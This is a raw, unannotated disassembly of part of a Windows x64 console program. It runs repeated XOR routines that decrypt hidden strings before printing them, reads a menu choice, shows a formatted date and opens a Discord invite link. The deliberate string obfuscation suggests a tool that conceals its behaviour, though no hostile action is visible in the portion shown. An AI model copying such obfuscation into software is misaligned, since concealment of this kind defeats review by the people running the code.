psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140083cb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x144]
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x140]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140022f60
lea rdx, [rbp + 0x140]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [0x1400d6910]
cmp qword [0x1400d6928], 0x10
cmovae rdx, qword [0x1400d6910]
mov r8, qword [0x1400d6920]
mov rcx, rax
call fcn.14001eb70
lea rcx, [0x140083c44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.color_5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140083980]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140083990]
movups xmmword [rbp - 0x50], xmm1
mov eax, dword [0x1400839a0]
mov dword [rbp - 0x40], eax
movzx eax, word [0x1400839a4]
mov word [rbp - 0x3c], ax
mov ecx, r14d
cmp r12d, 2
jl 0x140023150
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x5c]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140023050
cmp ecx, 0x26
jge 0x14002318a
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x26
jl 0x140023160
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rcx, str.color_5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x1400839a8]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400839b0]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1400839b4]
mov word [rsp + 0x6c], ax
cmp byte [0x1400839b5], 0
je 0x14002332a
mov ecx, r14d
cmp r12d, 2
jl 0x1400232eb
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movd xmm5, r13d
movdqa xmm2, xmmword [0x140083c90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140083cb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
mov eax, dword [0x140083ce0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400839a8]
xorps xmm2, xmm0
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140083ca0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140083cb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x140023300
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [0x1400d6910]
cmp qword [0x1400d6928], 0x10
cmovae rdx, qword [0x1400d6910]
mov r8, qword [0x1400d6920]
mov rcx, rax
call fcn.14001eb70
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
mov rsi, qword [0x1400d69d8]
lea r15, [0x1400d69c8]
cmp qword [0x1400d69e0], 0x10
cmovae r15, qword [0x1400d69c8]
cmp rsi, rdi
ja 0x140024f05
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x1400233ba
mov qword [rbp - 0x78], rsi
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x78], xmm0
lea rcx, [rsp + 0x78]
jmp 0x14002341c
mov rdi, rsi
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x1400233d5
mov rdi, rax
jmp 0x1400233e2
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x78]
call fcn.140009bb0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rdi
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rcx, qword [rsp + 0x78]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140023467
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140023462
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024ef1
call fcn.14007cef0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov qword [rbp + 0x270], rdi
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp - 0x50], xmm1
mov eax, dword [rbp + 0x30]
mov dword [rbp - 0x40], eax
movabs rax, 0x2c5bf32d4309db65
mov qword [rbp + 0xf0], rax
movabs rax, 0x32148665264c9f6f
mov qword [rbp + 0xf8], rax
movabs rax, 0x8a699040e621ba0d
mov qword [rbp + 0x100], rax
movabs r15, 0xa27ee240786dba40
mov qword [rbp + 0x108], r15
movabs rax, 0x487edc406629ba40
mov qword [rbp + 0x110], rax
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x118], rax
movabs rax, 0x8a699040e621ba40
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r15
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmm1, xmmword [rbp + 0x120]
xorps xmm1, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm1
lea r9, [rbp - 0x60]
lea r8, [rbp + 0xf0]
mov edx, 0x50
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], r14
lea rax, [rbp + 0x90]
mov rsi, 0xffffffffffffffff
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140023590
movabs rdi, 0x7fffffffffffffff
cmp rsi, rdi
ja 0x140024eff
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x1400235d8
mov qword [rbp], rsi
mov r8, rsi
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi - 0x10], 0
jmp 0x14002363c
mov r15, rsi
or r15, 0xf
cmp r15, rdi
jbe 0x1400235e9
mov r15, rdi
jmp 0x1400235f6
cmp r15, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb r15, rax
lea rdx, [r15 + 1]
lea rcx, [rbp - 0x10]
call fcn.140009bb0
mov rdi, rax
mov qword [rbp - 0x10], rax
mov qword [rbp], rsi
mov qword [rbp + 8], r15
mov r8, rsi
lea rdx, [rbp + 0x90]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
movabs rdi, 0x7fffffffffffffff
movabs r15, 0xa27ee240786dba40
movsd xmm0, qword [0x1400839b8]
movsd qword [rbp + 0x78], xmm0
mov eax, dword [str.bC]
mov dword [rbp + 0x80], eax
movzx eax, byte [0x1400839c4]
mov byte [rbp + 0x84], al
mov ecx, r14d
cmp r12d, 2
jl 0x140023772
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movd xmm5, r13d
movdqa xmm2, xmmword [0x140083c90]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140083cb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
mov eax, dword [0x140083ce0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400839b8]
xorps xmm2, xmm0
movd dword [rbp + 0x78], xmm2
movdqa xmm3, xmmword [0x140083ca0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140083cb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c]
xorps xmm2, xmm1
movd dword [rbp + 0x7c], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x78]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x140023780
lea rdx, [rbp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
mov rcx, rax
call fcn.14001eb70
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140023810
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002380b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140024ef8
call fcn.14007cef0
lea rcx, [0x1400d67b0]
call fcn.140007540
movups xmm0, xmmword [0x1400839c8]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x1400839d8]
movups xmmword [rbp + 0x120], xmm1
movzx eax, byte [0x1400839e8]
mov byte [rbp + 0x130], al
mov ecx, r14d
cmp r12d, 2
jl 0x140023990
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp + 0x114]
mov r8d, dword [rbp - 0x10]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140023890
cmp ecx, 0x21
jge 0x1400239ca
movsxd rax, ecx
lea r8, [rbp + 0x110]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x21
jl 0x1400239a0
lea rdx, [rbp + 0x110]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
movups xmm0, xmmword [0x1400839f0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140083a00]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x140083a10]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140083a20]
movups xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [str.mlonihkjedgfFGN]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x140083a38]
mov dword [rbp - 0x18], eax
movzx eax, word [0x140083a3c]
mov word [rbp - 0x14], ax
movzx eax, byte [0x140083a3e]
mov byte [rbp - 0x12], al
mov ecx, r14d
cmp r12d, 2
jl 0x140023b80
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x5c]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x48
jl 0x140023a80
cmp ecx, 0x4f
jge 0x140023bba
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x4f
jl 0x140023b90
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
movups xmm0, xmmword [str.c_bgeoS7_0dwwvhC]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x140083a50]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x140083a60]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x140083a70]
movups xmmword [rbp - 0x30], xmm1
mov eax, dword [0x140083a80]
mov dword [rbp - 0x20], eax
movzx eax, word [0x140083a84]
mov word [rbp - 0x1c], ax
movzx eax, byte [0x140083a86]
mov byte [rbp - 0x1a], al
mov ecx, r14d
cmp r12d, 2
jl 0x140023d60
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rbp - 0x5c]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x40
jl 0x140023c60
cmp ecx, 0x47
jge 0x140023d9a
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x47
jl 0x140023d70
lea rdx, [rbp - 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
lea rdx, [rbp + 0x288]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp + 0x288]
sub ecx, 1
je 0x140024401
sub ecx, 1
je 0x140024018
cmp ecx, 1
je 0x140023fe5
lea rcx, [0x140090eeb]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140020380
movups xmm0, xmmword [0x140083a88]
movups xmmword [rsp + 0x78], xmm0
mov eax, dword [0x140083a98]
mov dword [rbp - 0x78], eax
movzx eax, word [0x140083a9c]
mov word [rbp - 0x74], ax
cmp byte [0x140083a9d], 0
je 0x140023fca
mov ecx, r14d
cmp r12d, 2
jl 0x140023f90
movdqa xmm5, xmmword [0x140083c90]
movdqa xmm4, xmmword [0x140083cd0]
movd xmm6, ebx
movdqa xmm7, xmmword [0x140083cb0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140083ce0]
movdqa xmmword [rbp - 0x10], xmm0
lea rdx, [rsp + 0x7c]
mov r8d, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140083cc0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140023e90
cmp ecx, 0x16
jge 0x140023fca
movsxd rax, ecx
lea r8, [rsp + 0x78]
add r8, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, ebx
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x140023fa0
lea rdx, [rsp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001e850
mov ecx, 0x1f4
jmp 0x140024ebf
lea rcx, [0x140083c44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.https:__discord.gg_PTjxaNWt
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140024ec5
lea rcx, [0x140083c44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x3e11bf2534758003
mov qword [rbp - 0x60], rax
movabs rax, 0x644fa2065a4cc825
mov qword [rbp - 0x58], rax
movabs rax, 0xee0df41c935bf528
mov qword [rbp - 0x50], rax
movabs rax, 0xc613816e1c09de24
mov qword [rbp - 0x48], rax
movabs rdx, 0xaa388440eb99ba40
mov qword [rbp - 0x40], rdx
movabs r8, 0xc60d36406c25ba40
mov qword [rbp - 0x38], r8
movabs rsi, 0x487edc406629ba40
mov qword [rbp + 0x10], rsi
movabs rax, 0x172ece400635ba40
mov qword [rbp + 0x18], rax
movabs rcx, 0x8a699040e621ba40
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x60], xmm0
